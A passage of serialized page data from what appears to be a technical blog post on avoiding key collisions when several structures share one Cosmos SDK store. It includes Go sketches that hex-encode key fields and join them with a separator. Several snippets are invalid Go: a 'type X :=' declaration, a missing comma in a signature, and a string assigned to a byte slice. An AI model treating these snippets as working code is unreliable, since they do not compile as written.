now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":32,"props":84395,"children":84396},{},[84397,84399,84405,84407,84412,84414,84419,84421,84426,84428,84434],{"type":29,"value":84398},"In the Cosmos framework, it is common for each ",{"type":23,"tag":38,"props":84400,"children":84402},{"className":84401},[],[84403],{"type":29,"value":84404},"Module",{"type":29,"value":84406}," to own a few ",{"type":23,"tag":38,"props":84408,"children":84410},{"className":84409},[],[84411],{"type":29,"value":83462},{"type":29,"value":84413}," and have individual ",{"type":23,"tag":38,"props":84415,"children":84417},{"className":84416},[],[84418],{"type":29,"value":78430},{"type":29,"value":84420},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":38,"props":84422,"children":84424},{"className":84423},[],[84425],{"type":29,"value":83462},{"type":29,"value":84427}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":38,"props":84429,"children":84431},{"className":84430},[],[84432],{"type":29,"value":84433},"Modules",{"type":29,"value":322},{"type":23,"tag":32,"props":84436,"children":84437},{},[84438,84440,84445],{"type":29,"value":84439},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":38,"props":84441,"children":84443},{"className":84442},[],[84444],{"type":29,"value":83462},{"type":29,"value":1816},{"type":23,"tag":32,"props":84447,"children":84448},{},[84449,84451,84457,84459,84464],{"type":29,"value":84450},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":38,"props":84452,"children":84454},{"className":84453},[],[84455],{"type":29,"value":84456},"NameToAddressMap",{"type":29,"value":84458}," structure, which will be stored in the same ",{"type":23,"tag":38,"props":84460,"children":84462},{"className":84461},[],[84463],{"type":29,"value":83462},{"type":29,"value":84465}," we previously used.",{"type":23,"tag":131,"props":84467,"children":84469},{"code":84468,"language":74649,"meta":7,"className":74650,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[84470],{"type":23,"tag":38,"props":84471,"children":84472},{"__ignoreMap":7},[84473,84488,84503,84510,84525,84544,84559,84566,84581,84636,84643,84659,84679,84694,84701,84717],{"type":23,"tag":141,"props":84474,"children":84475},{"class":143,"line":144},[84476,84480,84484],{"type":23,"tag":141,"props":84477,"children":84478},{"style":449},[84479],{"type":29,"value":31225},{"type":23,"tag":141,"props":84481,"children":84482},{"style":725},[84483],{"type":29,"value":83508},{"type":23,"tag":141,"props":84485,"children":84486},{"style":725},[84487],{"type":29,"value":74687},{"type":23,"tag":141,"props":84489,"children":84490},{"class":143,"line":180},[84491,84495,84499],{"type":23,"tag":141,"props":84492,"children":84493},{"style":449},[84494],{"type":29,"value":31225},{"type":23,"tag":141,"props":84496,"children":84497},{"style":725},[84498],{"type":29,"value":83524},{"type":23,"tag":141,"props":84500,"children":84501},{"style":725},[84502],{"type":29,"value":83529},{"type":23,"tag":141,"props":84504,"children":84505},{"class":143,"line":205},[84506],{"type":23,"tag":141,"props":84507,"children":84508},{"emptyLinePlaceholder":15},[84509],{"type":29,"value":719},{"type":23,"tag":141,"props":84511,"children":84512},{"class":143,"line":218},[84513,84517,84521],{"type":23,"tag":141,"props":84514,"children":84515},{"style":449},[84516],{"type":29,"value":31225},{"type":23,"tag":141,"props":84518,"children":84519},{"style":725},[84520],{"type":29,"value":83541},{"type":23,"tag":141,"props":84522,"children":84523},{"style":725},[84524],{"type":29,"value":83529},{"type":23,"tag":141,"props":84526,"children":84527},{"class":143,"line":227},[84528,84532,84536,84540],{"type":23,"tag":141,"props":84529,"children":84530},{"style":449},[84531],{"type":29,"value":31225},{"type":23,"tag":141,"props":84533,"children":84534},{"style":725},[84535],{"type":29,"value":6099},{"type":23,"tag":141,"props":84537,"children":84538},{"style":449},[84539],{"type":29,"value":19823},{"type":23,"tag":141,"props":84541,"children":84542},{"style":154},[84543],{"type":29,"value":1951},{"type":23,"tag":141,"props":84545,"children":84546},{"class":143,"line":241},[84547,84551,84555],{"type":23,"tag":141,"props":84548,"children":84549},{"style":750},[84550],{"type":29,"value":41705},{"type":23,"tag":141,"props":84552,"children":84553},{"style":154},[84554],{"type":29,"value":74712},{"type":23,"tag":141,"props":84556,"children":84557},{"style":725},[84558],{"type":29,"value":82713},{"type":23,"tag":141,"props":84560,"children":84561},{"class":143,"line":262},[84562],{"type":23,"tag":141,"props":84563,"children":84564},{"style":154},[84565],{"type":29,"value":2573},{"type":23,"tag":141,"props":84567,"children":84568},{"class":143,"line":271},[84569,84573,84577],{"type":23,"tag":141,"props":84570,"children":84571},{"style":449},[84572],{"type":29,"value":31225},{"type":23,"tag":141,"props":84574,"children":84575},{"style":725},[84576],{"type":29,"value":83598},{"type":23,"tag":141,"props":84578,"children":84579},{"style":160},[84580],{"type":29,"value":83603},{"type":23,"tag":141,"props":84582,"children":84583},{"class":143,"line":293},[84584,84588,84592,84596,84600,84604,84608,84612,84616,84620,84624,84628,84632],{"type":23,"tag":141,"props":84585,"children":84586},{"style":449},[84587],{"type":29,"value":83611},{"type":23,"tag":141,"props":84589,"children":84590},{"style":154},[84591],{"type":29,"value":2399},{"type":23,"tag":141,"props":84593,"children":84594},{"style":725},[84595],{"type":29,"value":83620},{"type":23,"tag":141,"props":84597,"children":84598},{"style":154},[84599],{"type":29,"value":14088},{"type":23,"tag":141,"props":84601,"children":84602},{"style":449},[84603],{"type":29,"value":65584},{"type":23,"tag":141,"props":84605,"children":84606},{"style":154},[84607],{"type":29,"value":2399},{"type":23,"tag":141,"props":84609,"children":84610},{"style":725},[84611],{"type":29,"value":83637},{"type":23,"tag":141,"props":84613,"children":84614},{"style":154},[84615],{"type":29,"value":14088},{"type":23,"tag":141,"props":84617,"children":84618},{"style":449},[84619],{"type":29,"value":65584},{"type":23,"tag":141,"props":84621,"children":84622},{"style":154},[84623],{"type":29,"value":2399},{"type":23,"tag":141,"props":84625,"children":84626},{"style":725},[84627],{"type":29,"value":83654},{"type":23,"tag":141,"props":84629,"children":84630},{"style":154},[84631],{"type":29,"value":14088},{"type":23,"tag":141,"props":84633,"children":84634},{"style":725},[84635],{"type":29,"value":83663},{"type":23,"tag":141,"props":84637,"children":84638},{"class":143,"line":801},[84639],{"type":23,"tag":141,"props":84640,"children":84641},{"emptyLinePlaceholder":15},[84642],{"type":29,"value":719},{"type":23,"tag":141,"props":84644,"children":84645},{"class":143,"line":810},[84646,84650,84655],{"type":23,"tag":141,"props":84647,"children":84648},{"style":449},[84649],{"type":29,"value":31225},{"type":23,"tag":141,"props":84651,"children":84652},{"style":725},[84653],{"type":29,"value":84654}," AddressName",{"type":23,"tag":141,"props":84656,"children":84657},{"style":725},[84658],{"type":29,"value":83529},{"type":23,"tag":141,"props":84660,"children":84661},{"class":143,"line":824},[84662,84666,84671,84675],{"type":23,"tag":141,"props":84663,"children":84664},{"style":449},[84665],{"type":29,"value":31225},{"type":23,"tag":141,"props":84667,"children":84668},{"style":725},[84669],{"type":29,"value":84670}," Address",{"type":23,"tag":141,"props":84672,"children":84673},{"style":449},[84674],{"type":29,"value":19823},{"type":23,"tag":141,"props":84676,"children":84677},{"style":154},[84678],{"type":29,"value":1951},{"type":23,"tag":141,"props":84680,"children":84681},{"class":143,"line":839},[84682,84686,84690],{"type":23,"tag":141,"props":84683,"children":84684},{"style":750},[84685],{"type":29,"value":13781},{"type":23,"tag":141,"props":84687,"children":84688},{"style":154},[84689],{"type":29,"value":74712},{"type":23,"tag":141,"props":84691,"children":84692},{"style":725},[84693],{"type":29,"value":82713},{"type":23,"tag":141,"props":84695,"children":84696},{"class":143,"line":848},[84697],{"type":23,"tag":141,"props":84698,"children":84699},{"style":154},[84700],{"type":29,"value":2573},{"type":23,"tag":141,"props":84702,"children":84703},{"class":143,"line":2304},[84704,84708,84713],{"type":23,"tag":141,"props":84705,"children":84706},{"style":449},[84707],{"type":29,"value":31225},{"type":23,"tag":141,"props":84709,"children":84710},{"style":725},[84711],{"type":29,"value":84712}," AddressMap",{"type":23,"tag":141,"props":84714,"children":84715},{"style":160},[84716],{"type":29,"value":83603},{"type":23,"tag":141,"props":84718,"children":84719},{"class":143,"line":2313},[84720,84724,84728,84732,84736,84740,84744,84748,84752,84756,84760,84765,84769],{"type":23,"tag":141,"props":84721,"children":84722},{"style":449},[84723],{"type":29,"value":83611},{"type":23,"tag":141,"props":84725,"children":84726},{"style":154},[84727],{"type":29,"value":2399},{"type":23,"tag":141,"props":84729,"children":84730},{"style":725},[84731],{"type":29,"value":83620},{"type":23,"tag":141,"props":84733,"children":84734},{"style":154},[84735],{"type":29,"value":14088},{"type":23,"tag":141,"props":84737,"children":84738},{"style":449},[84739],{"type":29,"value":65584},{"type":23,"tag":141,"props":84741,"children":84742},{"style":154},[84743],{"type":29,"value":2399},{"type":23,"tag":141,"props":84745,"children":84746},{"style":725},[84747],{"type":29,"value":83637},{"type":23,"tag":141,"props":84749,"children":84750},{"style":154},[84751],{"type":29,"value":14088},{"type":23,"tag":141,"props":84753,"children":84754},{"style":449},[84755],{"type":29,"value":65584},{"type":23,"tag":141,"props":84757,"children":84758},{"style":154},[84759],{"type":29,"value":2399},{"type":23,"tag":141,"props":84761,"children":84762},{"style":725},[84763],{"type":29,"value":84764},"AddressName",{"type":23,"tag":141,"props":84766,"children":84767},{"style":154},[84768],{"type":29,"value":14088},{"type":23,"tag":141,"props":84770,"children":84771},{"style":725},[84772],{"type":29,"value":84773},"Address\n",{"type":23,"tag":32,"props":84775,"children":84776},{},[84777],{"type":29,"value":84778},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":131,"props":84780,"children":84782},{"code":84781,"language":74649,"meta":7,"className":74650,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[84783],{"type":23,"tag":38,"props":84784,"children":84785},{"__ignoreMap":7},[84786,84797,84812,84819,84826,84833,84849,84864,84891,84914,84933,84949,84985,84992,85027,85034,85054,85069,85104,85111,85146,85153,85181,85193,85205,85217,85229,85240,85252,85259,85266,85273,85280,85296,85311,85335,85358,85377,85392,85427,85434,85469,85476,85496,85511,85546,85553,85589,85596,85623,85634,85645,85656,85667,85678,85690,85697],{"type":23,"tag":141,"props":84787,"children":84788},{"class":143,"line":144},[84789,84793],{"type":23,"tag":141,"props":84790,"children":84791},{"style":449},[84792],{"type":29,"value":8334},{"type":23,"tag":141,"props":84794,"children":84795},{"style":154},[84796],{"type":29,"value":77051},{"type":23,"tag":141,"props":84798,"children":84799},{"class":143,"line":180},[84800,84804,84808],{"type":23,"tag":141,"props":84801,"children":84802},{"style":750},[84803],{"type":29,"value":83816},{"type":23,"tag":141,"props":84805,"children":84806},{"style":160},[84807],{"type":29,"value":1674},{"type":23,"tag":141,"props":84809,"children":84810},{"style":828},[84811],{"type":29,"value":83825},{"type":23,"tag":141,"props":84813,"children":84814},{"class":143,"line":205},[84815],{"type":23,"tag":141,"props":84816,"children":84817},{"style":154},[84818],{"type":29,"value":758},{"type":23,"tag":141,"props":84820,"children":84821},{"class":143,"line":218},[84822],{"type":23,"tag":141,"props":84823,"children":84824},{"emptyLinePlaceholder":15},[84825],{"type":29,"value":719},{"type":23,"tag":141,"props":84827,"children":84828},{"class":143,"line":227},[84829],{"type":23,"tag":141,"props":84830,"children":84831},{"emptyLinePlaceholder":15},[84832],{"type":29,"value":719},{"type":23,"tag":141,"props":84834,"children":84835},{"class":143,"line":241},[84836,84840,84845],{"type":23,"tag":141,"props":84837,"children":84838},{"style":449},[84839],{"type":29,"value":74785},{"type":23,"tag":141,"props":84841,"children":84842},{"style":184},[84843],{"type":29,"value":84844}," PositionMapKey",{"type":23,"tag":141,"props":84846,"children":84847},{"style":154},[84848],{"type":29,"value":2123},{"type":23,"tag":141,"props":84850,"children":84851},{"class":143,"line":262},[84852,84856,84860],{"type":23,"tag":141,"props":84853,"children":84854},{"style":750},[84855],{"type":29,"value":83732},{"type":23,"tag":141,"props":84857,"children":84858},{"style":725},[84859],{"type":29,"value":74906},{"type":23,"tag":141,"props":84861,"children":84862},{"style":154},[84863],{"type":29,"value":2168},{"type":23,"tag":141,"props":84865,"children":84866},{"class":143,"line":271},[84867,84871,84875,84879,84883,84887],{"type":23,"tag":141,"props":84868,"children":84869},{"style":750},[84870],{"type":29,"value":83744},{"type":23,"tag":141,"props":84872,"children":84873},{"style":154},[84874],{"type":29,"value":480},{"type":23,"tag":141,"props":84876,"children":84877},{"style":750},[84878],{"type":29,"value":84225},{"type":23,"tag":141,"props":84880,"children":84881},{"style":154},[84882],{"type":29,"value":74712},{"type":23,"tag":141,"props":84884,"children":84885},{"style":725},[84886],{"type":29,"value":83250},{"type":23,"tag":141,"props":84888,"children":84889},{"style":154},[84890],{"type":29,"value":2168},{"type":23,"tag":141,"props":84892,"children":84893},{"class":143,"line":293},[84894,84898,84902,84906,84910],{"type":23,"tag":141,"props":84895,"children":84896},{"style":154},[84897],{"type":29,"value":74867},{"type":23,"tag":141,"props":84899,"children":84900},{"style":750},[84901],{"type":29,"value":70639},{"type":23,"tag":141,"props":84903,"children":84904},{"style":154},[84905],{"type":29,"value":74712},{"type":23,"tag":141,"props":84907,"children":84908},{"style":725},[84909],{"type":29,"value":83250},{"type":23,"tag":141,"props":84911,"children":84912},{"style":154},[84913],{"type":29,"value":13480},{"type":23,"tag":141,"props":84915,"children":84916},{"class":143,"line":801},[84917,84921,84925,84929],{"type":23,"tag":141,"props":84918,"children":84919},{"style":750},[84920],{"type":29,"value":84346},{"type":23,"tag":141,"props":84922,"children":84923},{"style":160},[84924],{"type":29,"value":74901},{"type":23,"tag":141,"props":84926,"children":84927},{"style":184},[84928],{"type":29,"value":84049},{"type":23,"tag":141,"props":84930,"children":84931},{"style":154},[84932],{"type":29,"value":2123},{"type":23,"tag":141,"props":84934,"children":84935},{"class":143,"line":810},[84936,84941,84945],{"type":23,"tag":141,"props":84937,"children":84938},{"style":154},[84939],{"type":29,"value":84940}," []",{"type":23,"tag":141,"props":84942,"children":84943},{"style":725},[84944],{"type":29,"value":83250},{"type":23,"tag":141,"props":84946,"children":84947},{"style":154},[84948],{"type":29,"value":2168},{"type":23,"tag":141,"props":84950,"children":84951},{"class":143,"line":824},[84952,84957,84961,84965,84969,84973,84977,84981],{"type":23,"tag":141,"props":84953,"children":84954},{"style":750},[84955],{"type":29,"value":84956}," hex",{"type":23,"tag":141,"props":84958,"children":84959},{"style":154},[84960],{"type":29,"value":322},{"type":23,"tag":141,"props":84962,"children":84963},{"style":184},[84964],{"type":29,"value":84086},{"type":23,"tag":141,"props":84966,"children":84967},{"style":154},[84968],{"type":29,"value":192},{"type":23,"tag":141,"props":84970,"children":84971},{"style":184},[84972],{"type":29,"value":7817},{"type":23,"tag":141,"props":84974,"children":84975},{"style":154},[84976],{"type":29,"value":192},{"type":23,"tag":141,"props":84978,"children":84979},{"style":750},[84980],{"type":29,"value":83956},{"type":23,"tag":141,"props":84982,"children":84983},{"style":154},[84984],{"type":29,"value":84107},{"type":23,"tag":141,"props":84986,"children":84987},{"class":143,"line":839},[84988],{"type":23,"tag":141,"props":84989,"children":84990},{"style":154},[84991],{"type":29,"value":22602},{"type":23,"tag":141,"props":84993,"children":84994},{"class":143,"line":848},[84995,84999,85003,85007,85011,85015,85019,85023],{"type":23,"tag":141,"props":84996,"children":84997},{"style":750},[84998],{"type":29,"value":84077},{"type":23,"tag":141,"props":85000,"children":85001},{"style":154},[85002],{"type":29,"value":322},{"type":23,"tag":141,"props":85004,"children":85005},{"style":184},[85006],{"type":29,"value":84131},{"type":23,"tag":141,"props":85008,"children":85009},{"style":154},[85010],{"type":29,"value":192},{"type":23,"tag":141,"props":85012,"children":85013},{"style":750},[85014],{"type":29,"value":84040},{"type":23,"tag":141,"props":85016,"children":85017},{"style":154},[85018],{"type":29,"value":480},{"type":23,"tag":141,"props":85020,"children":85021},{"style":750},[85022],{"type":29,"value":83956},{"type":23,"tag":141,"props":85024,"children":85025},{"style":154},[85026],{"type":29,"value":758},{"type":23,"tag":141,"props":85028,"children":85029},{"class":143,"line":2304},[85030],{"type":23,"tag":141,"props":85031,"children":85032},{"emptyLinePlaceholder":15},[85033],{"type":29,"value":719},{"type":23,"tag":141,"props":85035,"children":85036},{"class":143,"line":2313},[85037,85042,85046,85050],{"type":23,"tag":141,"props":85038,"children":85039},{"style":750},[85040],{"type":29,"value":85041}," positionNameEncoded",{"type":23,"tag":141,"props":85043,"children":85044},{"style":160},[85045],{"type":29,"value":74901},{"type":23,"tag":141,"props":85047,"children":85048},{"style":184},[85049],{"type":29,"value":84049},{"type":23,"tag":141,"props":85051,"children":85052},{"style":154},[85053],{"type":29,"value":2123},{"type":23,"tag":141,"props":85055,"children":85056},{"class":143,"line":2335},[85057,85061,85065],{"type":23,"tag":141,"props":85058,"children":85059},{"style":154},[85060],{"type":29,"value":84940},{"type":23,"tag":141,"props":85062,"children":85063},{"style":725},[85064],{"type":29,"value":83250},{"type":23,"tag":141,"props":85066,"children":85067},{"style":154},[85068],{"type":29,"value":2168},{"type":23,"tag":141,"props":85070,"children":85071},{"class":143,"line":2343},[85072,85076,85080,85084,85088,85092,85096,85100],{"type":23,"tag":141,"props":85073,"children":85074},{"style":750},[85075],{"type":29,"value":84956},{"type":23,"tag":141,"props":85077,"children":85078},{"style":154},[85079],{"type":29,"value":322},{"type":23,"tag":141,"props":85081,"children":85082},{"style":184},[85083],{"type":29,"value":84086},{"type":23,"tag":141,"props":85085,"children":85086},{"style":154},[85087],{"type":29,"value":192},{"type":23,"tag":141,"props":85089,"children":85090},{"style":184},[85091],{"type":29,"value":7817},{"type":23,"tag":141,"props":85093,"children":85094},{"style":154},[85095],{"type":29,"value":192},{"type":23,"tag":141,"props":85097,"children":85098},{"style":750},[85099],{"type":29,"value":84225},{"type":23,"tag":141,"props":85101,"children":85102},{"style":154},[85103],{"type":29,"value":84107},{"type":23,"tag":141,"props":85105,"children":85106},{"class":143,"line":2352},[85107],{"type":23,"tag":141,"props":85108,"children":85109},{"style":154},[85110],{"type":29,"value":22602},{"type":23,"tag":141,"props":85112,"children":85113},{"class":143,"line":2421},[85114,85118,85122,85126,85130,85134,85138,85142],{"type":23,"tag":141,"props":85115,"children":85116},{"style":750},[85117],{"type":29,"value":84077},{"type":23,"tag":141,"props":85119,"children":85120},{"style":154},[85121],{"type":29,"value":322},{"type":23,"tag":141,"props":85123,"children":85124},{"style":184},[85125],{"type":29,"value":84131},{"type":23,"tag":141,"props":85127,"children":85128},{"style":154},[85129],{"type":29,"value":192},{"type":23,"tag":141,"props":85131,"children":85132},{"style":750},[85133],{"type":29,"value":84166},{"type":23,"tag":141,"props":85135,"children":85136},{"style":154},[85137],{"type":29,"value":480},{"type":23,"tag":141,"props":85139,"children":85140},{"style":750},[85141],{"type":29,"value":84225},{"type":23,"tag":141,"props":85143,"children":85144},{"style":154},[85145],{"type":29,"value":758},{"type":23,"tag":141,"props":85147,"children":85148},{"class":143,"line":2429},[85149],{"type":23,"tag":141,"props":85150,"children":85151},{"emptyLinePlaceholder":15},[85152],{"type":29,"value":719},{"type":23,"tag":141,"props":85154,"children":85155},{"class":143,"line":2459},[85156,85161,85165,85169,85173,85177],{"type":23,"tag":141,"props":85157,"children":85158},{"style":750},[85159],{"type":29,"value":85160}," key",{"type":23,"tag":141,"props":85162,"children":85163},{"style":160},[85164],{"type":29,"value":74901},{"type":23,"tag":141,"props":85166,"children":85167},{"style":750},[85168],{"type":29,"value":80719},{"type":23,"tag":141,"props":85170,"children":85171},{"style":154},[85172],{"type":29,"value":322},{"type":23,"tag":141,"props":85174,"children":85175},{"style":184},[85176],{"type":29,"value":83708},{"type":23,"tag":141,"props":85178,"children":85179},{"style":154},[85180],{"type":29,"value":2123},{"type":23,"tag":141,"props":85182,"children":85183},{"class":143,"line":2467},[85184,85189],{"type":23,"tag":141,"props":85185,"children":85186},{"style":828},[85187],{"type":29,"value":85188}," \"%d%s%s%s%s\"",{"type":23,"tag":141,"props":85190,"children":85191},{"style":154},[85192],{"type":29,"value":2168},{"type":23,"tag":141,"props":85194,"children":85195},{"class":143,"line":2499},[85196,85201],{"type":23,"tag":141,"props":85197,"children":85198},{"style":750},[85199],{"type":29,"value":85200}," vaultId",{"type":23,"tag":141,"props":85202,"children":85203},{"style":154},[85204],{"type":29,"value":2168},{"type":23,"tag":141,"props":85206,"children":85207},{"class":143,"line":2507},[85208,85213],{"type":23,"tag":141,"props":85209,"children":85210},{"style":750},[85211],{"type":29,"value":85212}," Seperator",{"type":23,"tag":141,"props":85214,"children":85215},{"style":154},[85216],{"type":29,"value":2168},{"type":23,"tag":141,"props":85218,"children":85219},{"class":143,"line":2567},[85220,85225],{"type":23,"tag":141,"props":85221,"children":85222},{"style":750},[85223],{"type":29,"value":85224}," usernameEncoded",{"type":23,"tag":141,"props":85226,"children":85227},{"style":154},[85228],{"type":29,"value":2168},{"type":23,"tag":141,"props":85230,"children":85231},{"class":143,"line":7724},[85232,85236],{"type":23,"tag":141,"props":85233,"children":85234},{"style":750},[85235],{"type":29,"value":85212},{"type":23,"tag":141,"props":85237,"children":85238},{"style":154},[85239],{"type":29,"value":2168},{"type":23,"tag":141,"props":85241,"children":85242},{"class":143,"line":7742},[85243,85248],{"type":23,"tag":141,"props":85244,"children":85245},{"style":750},[85246],{"type":29,"value":85247}," positionNameEncoded",{"type":23,"tag":141,"props":85249,"children":85250},{"style":154},[85251],{"type":29,"value":2168},{"type":23,"tag":141,"props":85253,"children":85254},{"class":143,"line":7787},[85255],{"type":23,"tag":141,"props":85256,"children":85257},{"style":154},[85258],{"type":29,"value":22602},{"type":23,"tag":141,"props":85260,"children":85261},{"class":143,"line":7893},[85262],{"type":23,"tag":141,"props":85263,"children":85264},{"style":154},[85265],{"type":29,"value":2573},{"type":23,"tag":141,"props":85267,"children":85268},{"class":143,"line":22181},[85269],{"type":23,"tag":141,"props":85270,"children":85271},{"emptyLinePlaceholder":15},[85272],{"type":29,"value":719},{"type":23,"tag":141,"props":85274,"children":85275},{"class":143,"line":22216},[85276],{"type":23,"tag":141,"props":85277,"children":85278},{"emptyLinePlaceholder":15},[85279],{"type":29,"value":719},{"type":23,"tag":141,"props":85281,"children":85282},{"class":143,"line":22224},[85283,85287,85292],{"type":23,"tag":141,"props":85284,"children":85285},{"style":449},[85286],{"type":29,"value":74785},{"type":23,"tag":141,"props":85288,"children":85289},{"style":184},[85290],{"type":29,"value":85291}," AddressMapKey",{"type":23,"tag":141,"props":85293,"children":85294},{"style":154},[85295],{"type":29,"value":2123},{"type":23,"tag":141,"props":85297,"children":85298},{"class":143,"line":22232},[85299,85303,85307],{"type":23,"tag":141,"props":85300,"children":85301},{"style":750},[85302],{"type":29,"value":83732},{"type":23,"tag":141,"props":85304,"children":85305},{"style":725},[85306],{"type":29,"value":74906},{"type":23,"tag":141,"props":85308,"children":85309},{"style":154},[85310],{"type":29,"value":2168},{"type":23,"tag":141,"props":85312,"children":85313},{"class":143,"line":22241},[85314,85318,85322,85327,85331],{"type":23,"tag":141,"props":85315,"children":85316},{"style":750},[85317],{"type":29,"value":83744},{"type":23,"tag":141,"props":85319,"children":85320},{"style":154},[85321],{"type":29,"value":480},{"type":23,"tag":141,"props":85323,"children":85324},{"style":750},[85325],{"type":29,"value":85326},"addressName",{"type":23,"tag":141,"props":85328,"children":85329},{"style":154},[85330],{"type":29,"value":74712},{"type":23,"tag":141,"props":85332,"children":85333},{"style":725},[85334],{"type":29,"value":82713},{"type":23,"tag":141,"props":85336,"children":85337},{"class":143,"line":22283},[85338,85342,85346,85350,85354],{"type":23,"tag":141,"props":85339,"children":85340},{"style":154},[85341],{"type":29,"value":74867},{"type":23,"tag":141,"props":85343,"children":85344},{"style":750},[85345],{"type":29,"value":70639},{"type":23,"tag":141,"props":85347,"children":85348},{"style":154},[85349],{"type":29,"value":74712},{"type":23,"tag":141,"props":85351,"children":85352},{"style":725},[85353],{"type":29,"value":83250},{"type":23,"tag":141,"props":85355,"children":85356},{"style":154},[85357],{"type":29,"value":13480},{"type":23,"tag":141,"props":85359,"children":85360},{"class":143,"line":22316},[85361,85365,85369,85373],{"type":23,"tag":141,"props":85362,"children":85363},{"style":750},[85364],{"type":29,"value":84346},{"type":23,"tag":141,"props":85366,"children":85367},{"style":160},[85368],{"type":29,"value":74901},{"type":23,"tag":141,"props":85370,"children":85371},{"style":184},[85372],{"type":29,"value":84049},{"type":23,"tag":141,"props":85374,"children":85375},{"style":154},[85376],{"type":29,"value":2123},{"type":23,"tag":141,"props":85378,"children":85379},{"class":143,"line":22324},[85380,85384,85388],{"type":23,"tag":141,"props":85381,"children":85382},{"style":154},[85383],{"type":29,"value":84940},{"type":23,"tag":141,"props":85385,"children":85386},{"style":725},[85387],{"type":29,"value":83250},{"type":23,"tag":141,"props":85389,"children":85390},{"style":154},[85391],{"type":29,"value":2168},{"type":23,"tag":141,"props":85393,"children":85394},{"class":143,"line":22332},[85395,85399,85403,85407,85411,85415,85419,85423],{"type":23,"tag":141,"props":85396,"children":85397},{"style":750},[85398],{"type":29,"value":84956},{"type":23,"tag":141,"props":85400,"children":85401},{"style":154},[85402],{"type":29,"value":322},{"type":23,"tag":141,"props":85404,"children":85405},{"style":184},[85406],{"type":29,"value":84086},{"type":23,"tag":141,"props":85408,"children":85409},{"style":154},[85410],{"type":29,"value":192},{"type":23,"tag":141,"props":85412,"children":85413},{"style":184},[85414],{"type":29,"value":7817},{"type":23,"tag":141,"props":85416,"children":85417},{"style":154},[85418],{"type":29,"value":192},{"type":23,"tag":141,"props":85420,"children":85421},{"style":750},[85422],{"type":29,"value":83956},{"type":23,"tag":141,"props":85424,"children":85425},{"style":154},[85426],{"type":29,"value":84107},{"type":23,"tag":141,"props":85428,"children":85429},{"class":143,"line":22341},[85430],{"type":23,"tag":141,"props":85431,"children":85432},{"style":154},[85433],{"type":29,"value":22602},{"type":23,"tag":141,"props":85435,"children":85436},{"class":143,"line":22417},[85437,85441,85445,85449,85453,85457,85461,85465],{"type":23,"tag":141,"props":85438,"children":85439},{"style":750},[85440],{"type":29,"value":84077},{"type":23,"tag":141,"props":85442,"children":85443},{"style":154},[85444],{"type":29,"value":322},{"type":23,"tag":141,"props":85446,"children":85447},{"style":184},[85448],{"type":29,"value":84131},{"type":23,"tag":141,"props":85450,"children":85451},{"style":154},[85452],{"type":29,"value":192},{"type":23,"tag":141,"props":85454,"children":85455},{"style":750},[85456],{"type":29,"value":84040},{"type":23,"tag":141,"props":85458,"children":85459},{"style":154},[85460],{"type":29,"value":480},{"type":23,"tag":141,"props":85462,"children":85463},{"style":750},[85464],{"type":29,"value":83956},{"type":23,"tag":141,"props":85466,"children":85467},{"style":154},[85468],{"type":29,"value":758},{"type":23,"tag":141,"props":85470,"children":85471},{"class":143,"line":22450},[85472],{"type":23,"tag":141,"props":85473,"children":85474},{"emptyLinePlaceholder":15},[85475],{"type":29,"value":719},{"type":23,"tag":141,"props":85477,"children":85478},{"class":143,"line":22458},[85479,85484,85488,85492],{"type":23,"tag":141,"props":85480,"children":85481},{"style":750},[85482],{"type":29,"value":85483}," addressNameEncoded",{"type":23,"tag":141,"props":85485,"children":85486},{"style":160},[85487],{"type":29,"value":74901},{"type":23,"tag":141,"props":85489,"children":85490},{"style":184},[85491],{"type":29,"value":84049},{"type":23,"tag":141,"props":85493,"children":85494},{"style":154},[85495],{"type":29,"value":2123},{"type":23,"tag":141,"props":85497,"children":85498},{"class":143,"line":22466},[85499,85503,85507],{"type":23,"tag":141,"props":85500,"children":85501},{"style":154},[85502],{"type":29,"value":84940},{"type":23,"tag":141,"props":85504,"children":85505},{"style":725},[85506],{"type":29,"value":83250},{"type":23,"tag":141,"props":85508,"children":85509},{"style":154},[85510],{"type":29,"value":2168},{"type":23,"tag":141,"props":85512,"children":85513},{"class":143,"line":22503},[85514,85518,85522,85526,85530,85534,85538,85542],{"type":23,"tag":141,"props":85515,"children":85516},{"style":750},[85517],{"type":29,"value":84956},{"type":23,"tag":141,"props":85519,"children":85520},{"style":154},[85521],{"type":29,"value":322},{"type":23,"tag":141,"props":85523,"children":85524},{"style":184},[85525],{"type":29,"value":84086},{"type":23,"tag":141,"props":85527,"children":85528},{"style":154},[85529],{"type":29,"value":192},{"type":23,"tag":141,"props":85531,"children":85532},{"style":184},[85533],{"type":29,"value":7817},{"type":23,"tag":141,"props":85535,"children":85536},{"style":154},[85537],{"type":29,"value":192},{"type":23,"tag":141,"props":85539,"children":85540},{"style":750},[85541],{"type":29,"value":85326},{"type":23,"tag":141,"props":85543,"children":85544},{"style":154},[85545],{"type":2